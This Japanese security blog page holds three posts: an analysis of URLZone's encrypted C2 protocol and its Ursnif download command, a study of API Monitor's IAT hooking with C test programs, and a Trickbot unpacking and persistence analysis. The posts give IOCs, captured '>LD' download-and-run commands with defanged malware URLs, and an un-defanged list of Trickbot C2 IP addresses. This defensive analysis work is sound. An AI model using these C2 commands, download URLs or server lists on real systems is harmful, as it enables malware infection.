Ayumu's I/O

ねだるな勝ち取れ、さすれば与えられん

マルウェアURLZoneの解析

URLZoneの解析結果です。最初にURLZoneについて解説し、その後実際にC2サーバとやり取りした通信内容や取得するバイナリの復号方法について解説します。なお、個人的にURLZoneという呼び方が定着してしまっているため、本稿ではURLZoneに統一します。

はじめに

URLZoneとは

URLZoneは、2009年頃から存在するマルウェアです。別名は、Shiotob、Beblohです。ここ数年、国内ではUrsnifをダウンロードして感染させるマルウェアとして有名です。Ursnifのほか、Malspamの配信基盤となるCutwailをダウンロードして感染させるという報告があります[1]。また、URLZone自身をUpdateするための機能があるものの、現在は使い捨てが主流となっています。

日本を狙うURLZoneの傾向

上記の通り、URLZoneはUrsnifへ感染させることを主な目的として使われています。Malspamを送って最終的にUrsnifに感染させようとする日本向けの攻撃グループは、Ursnifのバージョンや設定情報、狙うオンラインバンキングサイト、Ursnifを感染させるまでの流れが異なることから、2グループ存在すると考えられています。その中でも、URLZoneを使用してUrsnifに感染させようとする攻撃グループは開発が盛んであり、なかなか侮れません。同グループは、2018年10月から攻撃を再開させて以来、UrsnifやPowerShellスクリプトなどを徐々にアップデートしてきました。ステガノの利用や酷い難読化、Invoke-ReflectivePEInjectionの利用、Ursnifの永続化方法の更新などです。そして、2019年2月頃からは、URLZoneがUrsnifをダウンロード可能な時間を短縮したり、調整したりするようになりました。たとえば、2019年2月20日のMalspamでは、ダウンロード可能な時間が短く、メールが配信された約4時間後の時点でURLZoneを実行してもUrsnifの感染まで至りませんでした。これは、私のグローバルIPアドレスが握られているというわけではありません。他の解析者も同様にアクセスできなくなっていました。

上記のダウンロード可能な時間の調整がこれからも続くかは分かりませんが、守る側が感染の全体像を把握しやすくするために、本稿ではURLZoneの解析結果をお伝えします。

解析対象

対象は、DLLファイル形式のURLZoneです。先のMalspamでは、Invoke-ReflectivePEInjectionを使用して、DLLファイルがメモリにロード・実行されてURLZoneが動作を始めます。解析対象は、2月11日から4月3日までのURLZoneです。ファイルのMD5ハッシュは、本稿の終わりのIOCをご覧ください。

f:id:aes256:20190409041255p:plain

解析結果

URLZoneによるプロセス生成

URLZoneは、32bitのexplorer.exeをサスペンド状態の子プロセスとして新たに作成し、そこへシェルコードをインジェクトしてプロセスを動作させます。そして、動作させたexpolerer.exeプロセスのスレッドでは、親プロセスにマッピングされているDLLを自身にロードして、エントリーポイントから開始します。
なお、explorer.exeのプロセス生成に失敗した場合は、32bitのiexplorer.exeのプロセスで上記と同様の処理を行おうとします。それでも失敗した場合は、そのまま終了します。

解析環境の検知

これまでと同様に、アンチVM、アンチデバッガ、アンチサンドボックスの機能は存在しており、検知した場合はプロセスが終了します。これらについては解析記事[2][3]が既にあるため、ここでは割愛します。なお、記事中では触れられていませんが、検知機能によるプロセスの終了を回避するバイパス機能も備わっています。そのため、この機能を使えばいずれの環境でも動的解析を行うことが可能です。このようなバイパス機能は、URLZoneがダウンロードするUrsnif(GroupID:1000、Version3)にも存在します。

ミューテックス

ミューテックスは、"Uz"から始まる文字列となります。"Uz"以降は環境依存です。

f:id:aes256:20190409031048p:plain
ミューテックスの設定例

ハードコードされた設定情報

設定情報はハードコーディングされており、XOR暗号によって暗号化されています。復号すると下図右のようになり、通信先がわかります。この設定情報には、1秒のSleepを繰り返す回数やBOTSHIDと呼ばれるIDが含まれています。1秒のSleepを繰り返す回数は、通常0x4bが設定されています。つまり、180秒の待機となります。ただし、この設定は後述するC2サーバのコマンドで動的に変更可能です。

f:id:aes256:20190330170151p:plain
ハードコードされた設定情報(3/27のもの)

レジストリ

設定情報は、ユーザ固有の情報を格納した後にデータを暗号化して、環境依存のサブキー名でレジストリへ書き込まれます。暗号化には、XOR暗号とAES暗号が使用されます。平文をXOR暗号で暗号化した後に、バイト調整し、AESによる暗号化がなされます。また、後述しますが、C2サーバよりINJECTFILE命令があった場合は、このレジストリは削除されます。

f:id:aes256:20190330170229p:plain
レジストリ登録の例

通信

発生する通信の流れを簡単に示すと次のようになります。

  1. www.google.comへの疎通確認を行う
  2. ハードコードされた通信先への通信を行う
  3. 2の通信でサーバから期待されたレスポンスが得られない場合のみ、DGAに基づいてドメイン名を生成して通信試行を繰り返す
  4. 定常通信を行う

まず、Googleへ疎通確認を行います。通常は2回行われます。ここで疎通に失敗した場合は、以後の通信は発生しません。ただし、失敗した場合は、Sleep処理の後に疎通確認するという動作を繰り返します。Googleへの疎通確認が成功すると、ハードコードされた通信先との通信を試みます。このとき、サーバから期待されたレスポンスが返ってきた場合は、その通信先に固定して定常的に通信を行います。一方、期待されたレスポンスが返ってこない場合は、DGAによるドメイン名生成のループに入り、期待されたレスポンスが返るまで、新しいドメイン名を逐次生成して通信試行を繰り返します。


実際に動作させた例を以下に示します。まずは、ハードコードされたC2通信先と通信が出来たケースです。
f:id:aes256:20190331034403p:plain
次にハードコードされたC2通信先と通信ができず、DGAによるドメイン名生成ループに入ったケースです。なお、URLZoneのドメイン生成のアルゴリズムに関しては、すでに記事[2]がありますので本稿では割愛します。
f:id:aes256:20190331034416p:plain

リクエス

リクエストの例を図に示します。URLZoneによる通信は、基本的にHTTPS通信であり、さらにPOSTメソッドで送られるデータ(ボディ)が暗号化されています。データのフォーマットは、RSA暗号化データ+AES暗号化データです。このうち、RSA暗号化されたデータのみが送られることもあります。通常は、最初にRSA暗号化データのみが送られ、それ以降の定常通信でRSA暗号化データ+AES暗号化データが送られます。

f:id:aes256:20190331082407p:plain
リクエストの例1 (RSA暗号化データのみ)
f:id:aes256:20190331082418p:plain
リクエストの例2 (RSA暗号化データ+AES暗号化データ)
f:id:aes256:20190409035909p:plain:w500
リクエストの例2におけるフォーマット

RSAで暗号化されるデータ
平文および暗号化後のデータの例を下図に示します。公開鍵の長さは1024bitです。暗号化すると128byteとなります。

f:id:aes256:20190331082352p:plain
暗号化前後のデータ
データフォーマットは、次の通りです。

オフセット サイズ 例(ASCII) 意味
0x0-0x3 4byte 省略 後続のデータのサイズ
0x4-0x13 16byte 省略 AES暗号共通鍵(リクエスト用)
0x14-0x23 16byte 省略 AES暗号共通鍵(レスポンス用)
0x24 1byte Q 不明("Q"または"2"となる)
0x25-0x33 15byte 000000000000001 BOTSHID
0x34-0x45 18byte 6EAFC2E4E43FA51226 BOTID(クライアントID)
0x46-0x48 3byte 6.1 Windows OS バージョン
0x49-0x4C 4byte 0210 不明
0x4D-0x50 4byte 省略 タイムスタンプ
0x51-0x67 17byte explorer 6.1.7601.17514 エクスプローラのバージョン
0x67-0x74 13byte 省略 パディング

リクエスト用の共通鍵は、リクエストの後続のデータを暗号化するために利用されます。一方、レスポンス用の共通鍵は、C2サーバ上でレスポンスを暗号化するために使われます。なお、これら2つの共通鍵は、固定ではなく通信毎に変化します。
RSAの公開鍵は、MS PUBLICBLOB形式でURLZoneにハードコードされています。公開鍵は下図の通りです。公開指数は65537で、オフセット0x14から0x93までの1024bitが公開鍵となります。公開鍵は、2019年2月11日~3月6日の5検体と、3月28日~4月3日の2検体で異なりました。頻繁には更新されないものの、更新は行われる模様です。

f:id:aes256:20190331090235p:plain
URLZoneにハードコードされている公開鍵
(左は3/7まで使用された公開鍵。右は3/28から使用されている公開鍵。)


AESで暗号化されるデータ
暗号化アルゴリズムは、AES128bitのECBモードです。AESで暗号化されるデータは4種類あります。

  • クエリストリング形式のデータ
  • LD_ERR_LOAD_
  • LD_ERR_RUN_
  • PROCESS_INFORMATION


クエリストリング形式のデータ
このデータは、定常的にPOSTされます。暗号化前後のデータを図に示します。

f:id:aes256:20190331082913p:plain
暗号化前後のデータ
最初の4byteは、これに続くクエリストリングの長さを示しています。クエリストリングのフォーマットは下記です。

パラメータ 意味
tver 1428112277 ハードコードされたタイムスタンプ
vcmd 0 不明(常に0)
cc 0 不明(常に0)
hh 00000000 不明(常に0)
ipcnf 172.16.0.10+ IPアドレス
sckport 0 SOCKSプロキシポート?(常に0)
props 1 不明
keret 04110411 キーボードレイアウト
email メールアドレス(常に値なし)

LD_ERR_LOAD_
バイナリをダウンロードし、XXTEA暗号を復号した際にうまく復号できなかった場合などにPOSTされます。先頭の4バイトが以降に続くデータの長さを示しています。

f:id:aes256:20190331092408p:plain
LD_ERR_LOAD_の平文データの例

LD_ERR_RUN_
復号したバイナリが何らかの理由により実行できなかった場合にPOSTされます。先頭の4バイトが以降に続くデータの長さを示しています。

f:id:aes256:20190331092451p:plain
LD_ERR_RUN_の平文データの例

PROCESS_INFORMATION
PROCESS_INFORMATIONは、実行中のプロセス名をパイプで結合して送信します。このデータは、上記のロードエラーまたは実行エラーがあった場合に、プロセス起動中に1回だけPOSTされます。先頭の4バイトが以降に続くデータの長さを示しています。

f:id:aes256:20190408073136p:plain
PROCESS INFORMATIONの平文データの例

レスポンス

レスポンスの例を図に示します。リクエスト同様、こちらも暗号化されており、その内容は通信内容だけでは分かりません。

f:id:aes256:20190331192231p:plain
レスポンスの例1 (2/28にキャプチャのもの)
f:id:aes256:20190331192316p:plain
レスポンスの例2 (2/28にキャプチャのもの)
前述の通り、URLZoneの通信先として認識されるためには条件があります。具体的には下記です。ぱっと見て、ステータスコードやContent-Lengthに関する条件を満たしていることがわかります。

  • ステータスコードが302である
  • Content-Lengthが20byteより大きい
  • レスポンス内に含まれるMD5ハッシュが正しい
  • レスポンスのボディがリクエスト時に送ったキーで復号できる
  • 解釈可能な命令である

レスポンスデータを詳しく見ると下図のようになります。レスポンスデータは、「MD5ハッシュ(16byte) + 暗号化データ」のフォーマットです。暗号化データは、リクエストの際に送られた暗号化キーを使用して、AES128bitのECBモードで暗号化されています。このデータを復号すると、「コマンド長(4byte) + コマンド(可変長)」のフォーマットとなります。

f:id:aes256:20190401065900p:plain
レスポンスデータのフォーマット

コマンド
コマンドは、\r\n(0x0d 0x0a)で区切られており、大別すると次の種類があります。

  • ok、Retokなど
  • CMD0
  • INJECTFILE
  • *EXEUPDATE

ok、Retokなど
最初のリクエスト(RSA暗号化データのみのリクエスト)をC2サーバが受けたことを示す応答です。私が観測した範囲では、"ok"や"Retok"などの文字列が上図のコマンド部分にセットされてC2サーバより返却されます。ただし、このとき"ok"や"RetOk"である必要はなく、上記の平文フォーマットに従っており、かつ、URLZoneが正しく認識できるレスポンスであれば何でも問題ありません。このレスポンスがあった場合、URLZoneはSleep処理を行った後に、定常通信に入ります。

f:id:aes256:20190402010231p:plain
最初のリクエストに対するレスポンスの例

CMD0
コマンドがないことを示しています。このコマンドを受けた場合、URLZoneは何も行いません。URLZoneは、Sleep処理を行った後に次のリクエストを投げます。

f:id:aes256:20190409034621p:plain
CMD0の例

INJECTFILE
INJECTFILEは、ファイルをインジェクトするためのコマンドと思われます。このコマンドは単体では使用されず、後述する">LD"などのコマンドと組み合わせて構成されます。">LD"などのコマンドが成功した場合、URLZoneは設定に関するレジストリを削除します。

f:id:aes256:20190409034645p:plain
INJECTFILEの例

*EXEUPDATE
URLZone自身のアップデートを行うためのコマンドと思われます。このコマンドも後述する">LD"などのコマンドと組み合わせて構成されます。当該コマンドの場合は、後述する">LD"などのコマンドが成功した場合に、URLZoneは設定に関するレジストリを削除しません。私の調査では、2019年2月11日から2019年4月3日までの間に、このコマンドは観測できませんでした。


*EXEUPDATEとINJECTFILEの解釈
*EXEUPDATEとINJECTFILEの場合は、URLZoneが下記に示すコマンドを解釈しようとします。これらに該当しないものは、特段処理を行ないません。エラーは発生しないのでそのまま次の処理に移ります。

  • >CC
  • >SD
  • >LD
  • >UD
  • >UI

>CC
CCは、レジストリ内に保存したC2通信先の設定情報を書き換えるコマンドです。このコマンドを受け取った直後からC2通信先が変わります。

>SD
SDは、レジストリ内に保存したSleepの設定情報を書き換えるコマンドです。1秒のSleepを繰り返す回数を変更できます。

>LD
LDは、ダウンロードを行なって実行するコマンドです。このコマンドがあった場合は、最終的にプロセスが終了します。具体的な動作は後述しますが、このコマンドは、Ursnifに感染させるために使用されています。

>UD
コマンドの定義がされているものの、特に処理は行いません。このコマンドがあった場合は、フラグが立つので最終的にプロセスが終了します。

>UI
コマンドの定義がされているものの、特に処理は行いません。このコマンドがあった場合は、フラグが立つので最終的にプロセスが終了します。

どのようにUrsnifに感染するのか

さて、実際にC2サーバと通信を行い、どのようにUrsnif感染に至るかについてです。私は2月以降、C2通信を調査してきましたが、ここでは主に執筆時点で最新の2019年4月3日の内容を解説します。
これまで見てきたように、URLZoneに感染すると、通信先がC2サーバであることを確認した後に定常通信に入ります。その際、URLZoneのC2サーバが">LD"コマンドを返す時間帯と返さない時間帯があります。下表は、4月3日に私の環境で観測されたコマンドを時系列にしたものです。これによれば、18時15分から翌6時14分頃は、URLZoneを実行してもUrsnifをダウンロードおよび実行しないということになります。なお、4月3日と4日でURLが異なりますが、いずれも通信先が同一のUrsnif(ハッシュは異なる)でした。

日時(JST) 受信したコマンド
~ 4/3 18:14 >CV 66
>DI
>LD hxxps://gerdosan[.]com/uploads/docs.rar
INJECTFILE 0
4/3 18:15~ 4/4 6:14 >CV 66
>DI
INJECTFILE 0
4/4 6:14~14:30 >CV 66
>DI
>LD hxxps://gerdosan[.]com/uploads/coin.doc
INJECTFILE 0
4/4 14:30~ (通信不可)

他方、3月27日の観測では、Malspamが配信された直後にはダウンロードできず、配信から約9時間後の深夜3時頃に">LD"コマンドが返るようになりました。このように、">LD"コマンドが返る時間帯と返らない時間帯が存在します。これらコマンドの変化に関しては、現在も調査を継続しています。


>LDの動作例
C2サーバから返ってきた">LD"コマンドの例をhexdump形式で下図に示します。

f:id:aes256:20190407074924p:plain
INJECTFILEの例(4/4にキャプチャのもの)
先頭4byteはコマンド長で、それ以降がコマンドです。この場合の解釈は、次のようになります。

コマンド 解釈
>CV 67 意味なし。何もせず次のコマンドを解釈。
>DI 意味なし。何もせず次のコマンドを解釈。
>LD URL URLからcoin.docをダウンロードして実行。

これにより、URLZoneは命令に含まれるURLからファイルをダウンロードしようとします。そして、レスポンスコードが200であれば、ファイルの中身を読み込みます。この際に取得されたバイナリを下図に示します。先頭の4byteがファイルサイズを示し、0xF2800byteのデータを含むことがわかります。

f:id:aes256:20190407075935p:plain
coin.doc
このファイルは、暗号化されており、下図に示すルーチンで復号されます。ご覧の通り、これはXXTEA暗号です。
f:id:aes256:20190407082008p:plain
XXTEA復号箇所
XXTEA暗号の復号キーは、RSAの公開鍵のオフセット0x64以降の16byteです。
f:id:aes256:20190407083024p:plain
XXTEAの復号鍵
(左は3/7まで使用された鍵。右は3/28から使用されている鍵。)
先ほどの0xF2800byteのバイナリを復号すると、次のようにPEファイルとなります。
f:id:aes256:20190407085801p:plain
coin.docの復号結果
復号の結果、"MZ"から始まることが判明した場合は、そのPEファイルのタイムスタンプを下図の箇所で書き換えます。これにより、実行されるファイルは環境ごとに異なるハッシュとなります。また、使われていませんが、XxXxXxX0という文字列が3つ存在する場合は、この値をランダムな値に書き換えるという機能もあります。
f:id:aes256:20190407084401p:plain
タイムスタンプの書き換え箇所

その後、Tempフォルダ(%TEMP%)内にランダムなファイル名でこのPEファイルを出力します。そして、ShellExecuteW()で出力したPEファイルを実行します。このとき失敗した場合はCreateProcessW()で再度実行を試みます。プロセス生成後、URLZoneは、INJECTFILEコマンドのため、登録したレジストリを削除してプロセスを終了します。
なお、今回は">LD"コマンドが1つのみの場合を紹介しましたが複数指定することも可能で、その場合は複数のマルウェアをダウンロードして実行します。また、Ursnifが実行されると、UrsnifによってTempフォルダ(%TEMP%)内に生成されたファイルは削除されます。

おわりに

囮のC2サーバを立てたり、C2サーバを監視する簡易スクリプトを作成していた結果、思いの外、記事を公開するまでに時間を要してしまいました。これまで2ヶ月の観測で現在使用されているURLZoneは、機能がそれほど多くないことがわかりました。また、攻撃者が最終的に感染させたいのであろうUrsnifに比べ、URLZoneの更新はまったく行われていないこともわかりました。これからも継続的に観測し、何か判明したら情報を発信したいと思います。

筆者について

筆者は、業務でマルウェア解析をやりたいという思いから約3、4年前に勉強を始めたものの、いまだになれてない野良解析者です。マルウェア解析のトレーニングは受けておらず、すべて書籍や解析記事などによる独学です。ですから、解析結果はあまり信用しないで参考程度に留めてください。間違いがある場合はご指摘いただけると幸いです。その他、面白い情報があれば、@AES256bitまで。

IOC

URLZone(2019/02/11)
1805a6d0bd025f52f3dd483edb9660c0
URLZone(2019/02/18)
ddc16b26c2cd6f8d157bed810bf944f4
URLZone(2019/02/20)
e3720b8e3073dbb1ca667b9d067d3981
URLZone(2019/02/26)
dfdbcc018bf4bd78b7da5d1648d5bcbe
URLZone(2019/03/06)
2e77a29571303efafbfc1e96b0f2f935
URLZone(2019/03/27)
3a8b23c78c4bec7bb7d9bc9578dab74a
URLZone(2019/04/03)
824e105b0b8504bb1fae8cacbaaf143f

XXTEA復号後のUrsnif (2019/02/11)
321de751341266b8faa26a9bea18db2f
XXTEA復号後のUrsnif (2019/02/18)
6003251be36283e5ed0dbf71323473f6
XXTEA復号後のUrsnif (2019/03/07)
0d5b5e78ee6c1354b4a2e4bb8b62abc8
XXTEA復号後のUrsnif (2019/03/28)
488d8ba6bfe6ae3d90bc7204f036f582
XXTEA復号後のUrsnif (2019/04/03 18:00頃)
7d97b7da95039ca0c88670ae54fd6019
XXTEA復号後のUrsnif (2019/04/04 06:00頃)
ba143424de23b22e37f82f61d7eb6a33

URLZoneの通信先
mimertonus[.]com
panisdar[.]com
conesdarz[.]com
olkerona[.]com
benistora[.]com
baderson[.]com
gerdosan[.]com

API Monitorのフックについて調べてみる

あゆむです。今回はAPI Monitorというツールのフックの動作を簡単に調べてみました。

API Monitorとは

プロセス(32bit/64bit)によるAPIコールを監視・制御できるツールです。監視対象とするAPIは、一覧から選択することで簡単に追加することができます。
配布元のサイトをみると、Version 2.0(Alpha-r13)が最新版で、2013/03/14以降はバージョンアップされていないようです。とはいえ、Version 1.5と2.0(Alpha)まで9年の開きがあることから、今後のサポートもありうると考えられます。
個人的な使用用途はマルウェア解析中のAPIコール状況の監視ですが、動的解析中にクラッシュしてしまうことが何度かあったため、解析の手始めにちょっとだけ使ってみるくらいの利用頻度です。

www.rohitab.com

基本的な使い方

簡単なプログラムを例にAPI Monitorの使い方を説明します。

環境

本記事における動作環境は次の通りです。

OS Windows 7 64bit
コンパイラ gcc version 6.3.0 (MinGW.org GCC-6.3.0-1)
その他 API Monitor v2 Alpha-r13

プログラムの準備

MessageBoxA関数でダイアログを表示するだけのプログラムを準備します。すぐにダイアログが表示されてしまうと扱いづらいので、getchar関数でユーザ入力されるまで待機するようにします。

#include <stdio.h>
#include <windows.h>

int main(void) {
	printf("Press \"Enter\" key to continue: ");
	getchar();
	MessageBoxA(NULL, "Hello world", "Message", MB_OK);
	return 0;
}

監視の手順

1. プログラムを実行します。
f:id:aes256:20180125145425p:plain
2. API Monitorの左上のパネル「API Filter」から監視対象とするAPIを選択します。ここでは、User32.dll!MessageBoxAを監視項目にいれます。
f:id:aes256:20180125145340p:plain
3. API Monitorの左下のパネル「Running Processes」で当該プロセスを選択し、モニタリングを開始します。
f:id:aes256:20180125145541p:plain
4. Enterキーを押下し、ダイアログを表示させます。
f:id:aes256:20180125145648p:plain
5. API Monitorを確認します。右上のパネル「Summary」にて引数の情報がモニタリングできていることが確認できます。
f:id:aes256:20180125145706p:plain

API Monitorのフックを調べてみる

プログラムごとに3パートに分けてAPI Monitorの動作を説明します。

Part1

まず、先ほどの「Hello world」を出力するプログラムを用いて動作を調べてみます。API Monitorによる監視前後におけるプロセスのメモリマップの変化を確認します。監視を開始すると「apimonitor-drv-x86.sys」をはじめ、いくつかのコードが注入されていることがわかります。
f:id:aes256:20180125154744p:plain
特筆すべきは、下図のコードです。命令列らしきコードですね。
f:id:aes256:20180125154645p:plain
ここで、デバッガを使って当該プロセスにアタッチし、このコードを逆アセンブルしてみます(下図)。GetProcAddress関数やMessageBoxA関数などのアドレスを引数として「apimonitor-drv-x86.sys」内をコールしていることがわかります。
これがAPI Monitorによる関数の検知の入り口です。実際にMessageBoxA関数に関してステップインで追っていくと、User32.dllがロードされているメモリではなく下図の箇所が最初に呼び出されます。
f:id:aes256:20180125155212p:plain

さて、当該プログラムのメモリロード後のIAT(Import Address Table)を見てみます。下図のメモリダンプ(Dump1)では、MessageBoxA関数のアドレスが「1C 00 DD 02」となっており、先のコード列を指していることがわかります。このようなAPIのフックは、IATフックと呼ばれます。
f:id:aes256:20180125161117p:plain

Part2

Part1で使用したプログラムでは、User32.dllを静的リンクで呼び出していましたが、Part2では動的リンクで呼び出すように書き換えてみます(次のコード参照)。これによって、MessageBoxA関数のアドレスがIATに含まれなくなります。つまり、Part2では、IATに監視対象のAPIがない場合にAPI Monitorで監視対象のAPIコールを検出できるかを確認するということです。マルウェアによっては元のIATが破壊されていることがあるため、これができるか否かで使い物になるかどうかが変わってきます。

#include <stdio.h>
#include <windows.h>

int main(void) {
	printf("Press \"Enter\" key to continue: ");
	getchar();

	FARPROC mba = GetProcAddress(LoadLibraryA("user32.dll"), "MessageBoxA");
	mba(NULL, "Hello world", "Message", MB_OK);
	return 0;
}

図は省略しますが、動的リンクの場合でも監視対象を検出することができます。調べたところ、GetProcAddress関数が呼び出された場合にMessageBoxA関数検知のためのルーチン(Part1において”API Monitorによる関数の検知の入り口”と呼んだ箇所)を追加して、そのアドレスを返すようにしているようです。

Part3

最後はGetProcAddress関数を使用せずに、User32.dllのEAT(Export Address Table)からMessageBoxA関数のアドレスを直接取得するプログラムで試してみます。コードは次の通りです。

#include <stdio.h>
#include <windows.h>
#include <string.h>

int main(void) {
	printf("Press \"Enter\" key to continue: ");
	getchar();

	HMODULE hModule = LoadLibraryA("user32.dll");
	PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER) hModule;
	PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS) ((LPBYTE)hModule + pDosHeader->e_lfanew);
	PIMAGE_OPTIONAL_HEADER pOptionalHeader = &pNtHeaders->OptionalHeader;
	PIMAGE_DATA_DIRECTORY pDirectory   = &pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
	PIMAGE_EXPORT_DIRECTORY pImgExport = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)hModule + pDirectory->VirtualAddress);

	DWORD* functions = (DWORD*)((void*)hModule + pImgExport->AddressOfFunctions);
	DWORD* names     = (DWORD*)((void*)hModule + pImgExport->AddressOfNames);
	WORD*  ordinals  = (WORD*) ((void*)hModule + pImgExport->AddressOfNameOrdinals);

	for (int i = 0; i < pImgExport->NumberOfNames; ++i) {
		int ord = ordinals[i];
		//printf("%08X (%08x), %s\n", functions[ord], (void*)hModule+functions[ord], (void*)hModule+names[i]);

		if (strcmp((char*)hModule+names[i], "MessageBoxA") == 0) {
			FARPROC mba = ((void*)hModule + functions[ord]);
			mba(NULL, "Hello world", "Message", MB_OK);
			break;
		}
	}
	return 0;
}

結果は下図の通りです。APIMonitorではMessageBoxA関数を検出することはできませんでした。
f:id:aes256:20180126194616p:plain

Trickbot(Ver1000102)を解析してみる

マルウェア解析が趣味のあゆむです。今回はWindows7(64bit)環境下でTrickbotを解析したので、その結果をお伝えします。検体/ログ解析時の種類特定にお役立てください。モジュールの解析までは行っていませんのであしからず。

Trickbotとは

オンラインバンキングマルウェアです。Trickbotの主なターゲットは海外で日本にはあまりばら撒かれていない印象を受けます。
Trickbotは、ウェブインジェクション機能やURLリダイレクション機能などを持っています。たとえば、感染した状態でユーザが銀行のサイトなどにアクセスしようとすると、サイトに不正なコードが挿入されて入力した情報が盗まれるという被害が起こりえます。
主な感染経路はメールによるものです。メールに添付されたファイルを開いて感染するケースや脆弱な環境下で悪意のあるサイトに誘導される形で感染するケースがほとんどのようです。
Trickbotの更新はとても盛んで、バージョンアップして動作が変わったり、新たな機能を有するモジュールをダウンロードするようになったりと日々進化しています。執筆現在(12/23)の最新バージョンは1000108です。

検体情報

解析した検体は、2017年12月13日にばら撒かれたTrickbotです。メールに添付されたDocファイルを開くとTrickbotがダウンロードされて感染するという流れです。

Docfile

MD5 5a69998c829e08486b27ad16182f451e
SHA256 ee468a25416ad9f812198dbfb0f389fcdaf6326d1267625e921e7048bc37a9ee

TrickBot(Packed)

FileName nyRhdkwSD.exe / oySielwTD.exe
MD5 8b607501725d998c14f6a34eb4e8dc3e
SHA256 d27ea2a862848c82b7726584c6e66e41cb4988e3e92a42391d85d24fbe4e3d9c
Version(ver) 1000102
GroupTag(gtag) mac1

解析結果

概要

Trickbotは、パックされており本体が動作するまでに4つのステップがあります。下図をご覧ください。最初に実行されるファイルは「nyRhdkwSD.exe」です。これを実行すると、Process Hollowingという手法を用いて、新たに作成した自身のプロセスにコードを注入します(下図1-1)。次に実行元のファイルを別の場所へコピーします(下図2-1)。また、自動実行の設定をタスクスケジューラに登録します(下図2-2)。そして、再度Process Hollowing(下図3-1)とタスクの登録試行(下図4-2)を行い、正規のプログラムsvchost.exeへTrickbotを注入します(下図4-1)。以降では、これらをステップごとに解説します。
f:id:aes256:20171223190750p:plain

内容

1st Step

まず、デバッガで開くと、CreateWindowExA関数がたくさん呼び出されていることがわかります。これらは、解析妨害のために挿入されているようで、ブレイクポイントを設定しても一度も呼び出されません。引数もすべて0で呼び出す気がないです。
f:id:aes256:20171222185237p:plain:w300
f:id:aes256:20171222185251p:plain

実行すると、Process Hollowingを行います。自身をサスペンド状態でプロセス生成し、中身をアンマップ(空洞化)して、新たなコードを注入します。そして、エントリーポイントを書き換えて、スレッドを動作させます。このテクニックはよくある手法でDreamBotでも使われています。
f:id:aes256:20171223221920p:plain
f:id:aes256:20171222190133p:plain

なお、Process Hollowing実行時に呼ばれる関数のアドレスはスタック上に展開されます。
f:id:aes256:20171222190156p:plain

2nd Step

スレッドの動作が始まると注入されたコードが実行され、主にファイルのコピーとタスクスケジューラへの登録を行います。

まず、「%APPDATA%/AppData/Roaming/」に「services」というフォルダを作成します。CopyFileW関数を用いて、実行元のファイル(8b607501725d998c14f6a34eb4e8dc3e)をコピーします。当該解析環境では「oySielwTD.exe」という名前にリネームされて配置されました。
f:id:aes256:20171223162828p:plain

さらに、タスクスケジューラへ次の内容で自動実行の登録を行います。ログオン時または登録時点から3分ごとにプログラムが実行されます。
f:id:aes256:20171222190824p:plain

名前 services update
説明 Look for services monitor.
トリガー 複数のトリガーの定義(任意のユーザのログオン時。毎日hh:mmに起動、トリガーされた後、1日間の間、00:03:00ごとに繰り返す。)
操作 プログラムの開始 C:\Users\■■■\AppData\Roaming\services\oySielwTD.exe
3rd Step

タスクスケジューラによってプログラムが実行されます。このときの動作は1st Stepと同一のもので、再度Process Hollowingが行われます。
f:id:aes256:20171223222441p:plain

4th Step

スレッドの動作が始まると注入されたコードが実行され、2nd Stepと途中まで同一の動作をします。この段階では、主にタスクスケジューラへの登録試行とTrickbotの展開、svchost.exeへの注入が行われます。

詳細を解析していませんが、svchost.exeへの注入もProcess Hollowingによって行われていると思われます。CreateProcessW関数を用いてsvchost.exe(64bit)のプロセスをサスペンド状態で作成します。
f:id:aes256:20171223222504p:plain

なお、一連の動作終了後の「oySielwTD.exe」のヒープ領域には、Trickbot(64bit)が展開されています。マジックナンバー0x4D 0x5A(MZ)が確認できます。
f:id:aes256:20171222191340p:plain:w300

Trickbot

Trickbotが注入されたsvchost.exeが動作すると、まず、「%APPDATA%/AppData/Roaming/」に新たにファイルとフォルダを作成します。この動作は繰り返されるようで、削除しても当該svchost.exeが動作している間は再度生成されます。
f:id:aes256:20171222192407p:plain
Modulesフォルダには、モジュールをダウンロードして配置します。client_id、group_tagの中身は下図をご覧ください。黒塗りにしていますが、client_idは感染端末のユーザ名から始まり、Windowsバージョンと乱数で構成されています。
f:id:aes256:20171222193107p:plain

外部のサービスと通信して感染端末のグローバルIPアドレスを確認します。User-AgentがChromeとなっていますが、確認したところ感染端末にインストールされているChromeのバージョンと異なっていました。
f:id:aes256:20171223095034p:plain
f:id:aes256:20171223165157p:plain

C2サーバとのC2通信が発生します。
f:id:aes256:20171222192651p:plain
残念ながら解析時点では接続できませんでした。Trickbotは基本的にHTTPS通信を行うようです。
f:id:aes256:20171223145144p:plain

なお、おとりC2サーバを用意して通信させてみた結果、次のリクエストを投げていることがわかりました。「/5/spk/」の5はコマンドIDで、C2サーバから何かをダウンロードする際に使われるとのことです。*1
f:id:aes256:20171223163622p:plain

さて、C2サーバのIPアドレスを含むconfigは、Trickbotが注入されたsvchost.exeのメモリのヒープ領域に保持されています。
f:id:aes256:20171222193418p:plain:w300

取り出したデータは次の通りです。ここにTrickbotのバージョンやC2通信先、取得するモジュールのリストが記載されています。

<mcconf>
<ver>1000102</ver>
<gtag>mac1</gtag>
<servs>
<srv>79.106.41.9:449</srv>
<srv>185.21.149.41:449</srv>
<srv>200.111.97.235:449</srv>
<srv>67.209.219.92:449</srv>
<srv>209.205.188.238:449</srv>
<srv>73.252.252.62:449</srv>
<srv>76.16.105.16:449</srv>
<srv>82.202.236.84:443</srv>
<srv>78.155.199.124:443</srv>
<srv>179.43.160.45:443</srv>
<srv>94.250.253.142:443</srv>
<srv>5.200.55.47:443</srv>
<srv>37.60.177.19:443</srv>
<srv>94.250.255.50:443</srv>
<srv>82.146.48.44:443</srv>
<srv>194.87.93.30:443</srv>
<srv>194.87.94.225:443</srv>
<srv>195.62.53.88:443</srv>
<srv>82.146.48.241:443</srv>
<srv>195.88.209.128:443</srv>
<srv>80.87.198.204:443</srv>
<srv>194.87.146.14:443</srv>
<srv>195.133.147.140:443</srv>
<srv>92.53.66.60:443</srv>
<srv>194.87.93.84:443</srv>
<srv>82.202.226.189:443</srv>
<srv>95.154.199.136:443</srv>
</servs>
<autorun>
<module name="systeminfo" ctl="GetSystemInfo"/>
<module name="injectDll"/>
</autorun>
</mcconf>

解析結果は以上です。
